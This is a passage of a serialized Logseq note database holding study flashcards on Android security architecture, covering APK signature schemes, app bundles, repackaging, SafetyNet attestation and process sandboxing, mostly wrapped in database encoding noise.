successorlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[161,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[161,logseq____&quot;^Flogseq____&quot;,177,536870916]],[logseq____&quot;^15logseq____&quot;,[161,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[161,logseq____&quot;^Vlogseq____&quot;,145,536870916]],[logseq____&quot;^15logseq____&quot;,[161,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[161,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[161,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[161,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-32f3-4d65-9420-4391c5e6bd3flogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[162,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;APK generation deferred to Google Play (chooses appropriate APK)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[162,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[162,logseq____&quot;^Flogseq____&quot;,158,536870916]],[logseq____&quot;^15logseq____&quot;,[162,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[162,logseq____&quot;^Vlogseq____&quot;,166,536870916]],[logseq____&quot;^15logseq____&quot;,[162,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[162,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[162,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[162,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-c0c1-45d1-9987-4c189bd28b0alogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[163,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Only works for first-installs (SOP of subsequent updates)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[163,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[163,logseq____&quot;^Flogseq____&quot;,164,536870916]],[logseq____&quot;^15logseq____&quot;,[163,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[163,logseq____&quot;^Vlogseq____&quot;,165,536870916]],[logseq____&quot;^15logseq____&quot;,[163,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[163,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[163,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[163,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5fad-47d9-b746-fb6b9f201f20logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[164,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Self-signed signatures allow for re-packaging modified contentlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[164,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[164,logseq____&quot;^Flogseq____&quot;,165,536870916]],[logseq____&quot;^15logseq____&quot;,[164,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[164,logseq____&quot;^Vlogseq____&quot;,165,536870916]],[logseq____&quot;^15logseq____&quot;,[164,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[164,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[164,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[164,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-9712-46e3-821b-e23a7fbd3aeclogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Repackaging #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^Flogseq____&quot;,166,536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^Vlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[165,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-bd25-40cd-babc-d468b8e9174flogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## App Bundles #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^Flogseq____&quot;,160,536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^Vlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[166,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-05d5-46f5-8f1e-4b3537730fd5logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[167,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Mobile Platforms use signed application packages (Android: developer signed; IOS: Market signed)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[167,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[167,logseq____&quot;^Flogseq____&quot;,169,536870916]],[logseq____&quot;^15logseq____&quot;,[167,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[167,logseq____&quot;^Vlogseq____&quot;,169,536870916]],[logseq____&quot;^15logseq____&quot;,[167,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[167,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[167,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[167,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-67cd-4d9f-80bc-e3c547fcca08logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[168,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Verfied by Chain-of-Trust logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[168,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[168,logseq____&quot;^Flogseq____&quot;,172,536870916]],[logseq____&quot;^15logseq____&quot;,[168,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[168,logseq____&quot;^Vlogseq____&quot;,154,536870916]],[logseq____&quot;^15logseq____&quot;,[168,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[168,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[168,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[168,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5d8b-4e66-a3a6-f9096c299f5dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Package Signing #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^Flogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^Vlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[169,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-26ed-467b-a3de-cf9c2d37514dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### APK Signature Scheme v2 #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^Flogseq____&quot;,154,536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^Vlogseq____&quot;,160,536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[170,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b835-4603-a52f-5153e8a2ce4flogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[171,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`logseq____&lt;signerlogseq____&gt;.{RSA,DSA,EC}`: Application and signer Certificate(Using [PKCS 7](https://en.wikipedia.org/wiki/PKCS_7)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[171,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[171,logseq____&quot;^Flogseq____&quot;,149,536870916]],[logseq____&quot;^15logseq____&quot;,[171,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[171,logseq____&quot;^Vlogseq____&quot;,172,536870916]],[logseq____&quot;^15logseq____&quot;,[171,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[171,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[171,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[171,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-80fb-4abd-9549-860cf9496e1elogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[172,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`METZ-INF` contains:logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[172,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[172,logseq____&quot;^Flogseq____&quot;,173,536870916]],[logseq____&quot;^15logseq____&quot;,[172,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[172,logseq____&quot;^Vlogseq____&quot;,154,536870916]],[logseq____&quot;^15logseq____&quot;,[172,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[172,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[172,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[172,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-53e2-49c8-8ca5-50db3fc406c8logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[173,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Can be created using [`jarsigner`](https://docs.oracle.com/javase/8/docs/technotes/tools/windows/jarsigner.html) or [`apksigner`](https://developer.android.com/tools/apksigner)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[173,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[173,logseq____&quot;^Flogseq____&quot;,154,536870916]],[logseq____&quot;^15logseq____&quot;,[173,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[173,logseq____&quot;^Vlogseq____&quot;,154,536870916]],[logseq____&quot;^15logseq____&quot;,[173,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[173,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[173,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[173,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-9328-483c-a4b8-403a38c7b304logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[174,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Should not be used as *stand-alone*, *anti-abuse* or *app-security* mechanismlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[174,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[174,logseq____&quot;^Flogseq____&quot;,156,536870916]],[logseq____&quot;^15logseq____&quot;,[174,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[174,logseq____&quot;^Vlogseq____&quot;,145,536870916]],[logseq____&quot;^15logseq____&quot;,[174,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[174,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[174,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[174,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-1983-4940-b323-d4b722feb0f2logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[175,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`Manifest.mf` and `logseq____&lt;signerlogseq____&gt;.sf` allow for multiple entries with identical namelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[175,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[175,logseq____&quot;^Flogseq____&quot;,147,536870916]],[logseq____&quot;^15logseq____&quot;,[175,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[175,logseq____&quot;^Vlogseq____&quot;,147,536870916]],[logseq____&quot;^15logseq____&quot;,[175,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[175,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[175,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[175,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-323a-4dbd-9c2a-bec290285d36logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[176,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### APK Signature Scheme v3logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[176,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[176,logseq____&quot;^Flogseq____&quot;,170,536870916]],[logseq____&quot;^15logseq____&quot;,[176,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[176,logseq____&quot;^Vlogseq____&quot;,160,536870916]],[logseq____&quot;^15logseq____&quot;,[176,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[176,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536870916]],[logseq____&quot;^15logseq____&quot;,[176,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[176,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-6b6d-4481-82c9-ae00c463032elogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[177,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```mermaid\\nsequenceDiagram\\n box Smartphone\\n participant App\\n participant SafetyNetAPI\\n end\\n \\n box Google Server\\n participant SafetyNetServer\\n end\\n \\n box Developer Server\\n participant AppServer\\n end\\n\\n App-logseq____&gt;logseq____&gt;SafetyNetAPI: 1) Send nonce, platform config, app metadata\\n SafetyNetAPI-logseq____&gt;logseq____&gt;SafetyNetServer: Forward attestation request\\n SafetyNetServer--logseq____&gt;logseq____&gt;SafetyNetAPI: Return signed attestation (S)\\n SafetyNetAPI--logseq____&gt;logseq____&gt;App: Return attestation (S)\\n App-logseq____&gt;logseq____&gt;AppServer: 2) Send attestation (S)\\n AppServer--logseq____&gt;logseq____&gt;AppServer: 3) Verify S (decide device/app trustworthiness)\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[177,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[177,logseq____&quot;^Flogseq____&quot;,174,536870916]],[logseq____&quot;^15logseq____&quot;,[177,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[177,logseq____&quot;^Vlogseq____&quot;,145,536870916]],[logseq____&quot;^15logseq____&quot;,[177,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[177,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[177,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[177,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-ba98-463f-8bc6-b1a441e71b4alogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[178,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Android uses different signatures (scheme V1..4) ![](https://source.android.com/static/docs/security/images/apk-validation-process-v4.png)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[178,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[178,logseq____&quot;^Flogseq____&quot;,167,536870916]],[logseq____&quot;^15logseq____&quot;,[178,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[178,logseq____&quot;^Vlogseq____&quot;,169,536870916]],[logseq____&quot;^15logseq____&quot;,[178,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[178,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[178,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[178,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-9a7a-4049-95ce-a15e3c1dabd4logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[179,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Android requires all updates to be signed using the same keylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[179,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[179,logseq____&quot;^Flogseq____&quot;,181,536870916]],[logseq____&quot;^15logseq____&quot;,[179,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[179,logseq____&quot;^Vlogseq____&quot;,170,536870916]],[logseq____&quot;^15logseq____&quot;,[179,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[179,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[179,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[179,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-4da9-426a-9657-fdbcfe5876f4logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[180,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Added key rotation through additional *proof-of-rotation* in the signing blocklogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[180,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[180,logseq____&quot;^Flogseq____&quot;,176,536870916]],[logseq____&quot;^15logseq____&quot;,[180,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[180,logseq____&quot;^Vlogseq____&quot;,176,536870916]],[logseq____&quot;^15logseq____&quot;,[180,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[180,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-90b0-4818-bdb3-cc727d0a7d59logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[181,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Use of two-level Merkle hash tree (single digest over hashing each file individually)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[181,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[181,logseq____&quot;^Flogseq____&quot;,148,536870916]],[logseq____&quot;^15logseq____&quot;,[181,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[181,logseq____&quot;^Vlogseq____&quot;,170,536870916]],[logseq____&quot;^15logseq____&quot;,[181,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[181,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[181,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[181,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-c325-4d57-8360-6417c64e9739logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[183,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[183,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[183,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;sandboxinglogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[183,logseq____&quot;^11logseq____&quot;,logseq____&quot;Sandboxinglogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[183,logseq____&quot;^Blogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[183,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-bacc-4dcf-9025-e181103387dclogseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[184,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```mermaid\\nflowchart LR\\n subgraph Kernel\\n K[\\logseq____&quot;Linux Kernel (enforces process isolation)\\logseq____&quot;]\\n end\\n\\n subgraph UA[\\logseq____&quot;Process Boundary (UID A)\\logseq____&quot;]\\n direction TB\\n subgraph \\logseq____&quot;Dalvik VM / ART (App 1)\\logseq____&quot;\\n A1[\\logseq____&quot;App Code (classes.dex)\\logseq____&quot;]\\n B1[Core libs]\\n end\\n C1[\\logseq____&quot;Native code (*.so)\\logseq____&quot;]\\n end\\n\\n subgraph UB[\\logseq____&quot;Process Boundary (UID B)\\logseq____&quot;]\\n direction TB\\n subgraph \\logseq____&quot;Dalvik VM / ART (App 2)\\logseq____&quot;\\n A2[\\logseq____&quot;App Code (classes.dex)\\logseq____&quot;]\\n B2[Core libs]\\n end\\n C2[\\logseq____&quot;Native code (*.so)\\logseq____&quot;]\\n end\\n\\n subgraph UC[\\logseq____&quot;Process Boundary (UID C)\\logseq____&quot;]\\n direction TB\\n subgraph \\logseq____&quot;Dalvik VM / ART (App 3)\\logseq____&quot;\\n A3[\\logseq____&quot;App Code (classes.dex)\\logseq____&quot;]\\n B3[Core libs]\\n end\\n C3[\\logseq____&quot;Native code (*.so)\\logseq____&quot;]\\n end\\n A1 logseq____&lt;--logseq____&gt; B1\\n A2 logseq____&lt;--logseq____&gt; B2\\n A3 logseq____&lt;--logseq____&gt; B3\\n A1 logseq____&lt;--logseq____&gt; C1\\n A2 logseq____&lt;--logseq____&gt; C2\\n A3 logseq____&lt;--logseq____&gt; C3\\n K logseq____&lt;-- syscalls --logseq____&gt; UA\\n K logseq____&lt;-- syscalls --logseq____&gt; UB\\n K logseq____&lt;-- syscalls --logseq____&gt; UC\\n\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[184,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[184,logseq____&quot;^Flogseq____&quot;,190,536870916]],[logseq____&quot;^15logseq____&quot;,[184,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[184,logseq____&quot;^Vlogseq____&quot;,201,536870916]],[logseq____&quot;^15logseq____&quot;,[184,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[184,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[184,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[184,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5c7f-4ddb-ae41-c80607256efclogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[185,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Started application executed with root `Zygote`logseq____&apos;s privileges, i.e., 